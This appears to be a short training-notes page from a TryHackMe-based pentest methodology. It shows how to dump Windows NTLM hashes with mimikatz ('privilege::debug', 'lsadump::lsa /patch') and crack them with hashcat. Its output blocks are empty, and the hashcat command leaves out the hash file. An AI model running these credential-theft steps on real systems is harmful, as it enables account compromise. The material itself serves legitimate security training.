> For the complete documentation index, see [llms.txt](https://notes.nomanaziz.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.nomanaziz.me/cybersecurity/penetration-testing/tryhackme/main-methodology/4.-post-exploitation/windows-active-directory/dumping-hashes-with-mimikatz.md).
# Dumping Hashes with mimikatz
### Introduction
Mimikatz is a very popular and powerful post-exploitation tool mainly used for dumping user credentials inside of a active directory network
We'll be focusing on dumping the NTLM hashes with mimikatz and then cracking those hashes using hashcat
***
### Dump Hashes w/ mimikatz
1. `cd Downloads` && mimikatz.exe this will cd into the directory that mimikatz is kept as well as run the mimikatz binary
\*
```
```
2. `privilege::debug` ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly
\*
```
```
3. `lsadump::lsa /patch` Dump those hashes!
\*
```
```
***
### Crack those hashes w/ hashcat
1. `hashcat -m 1000 rockyou.txt`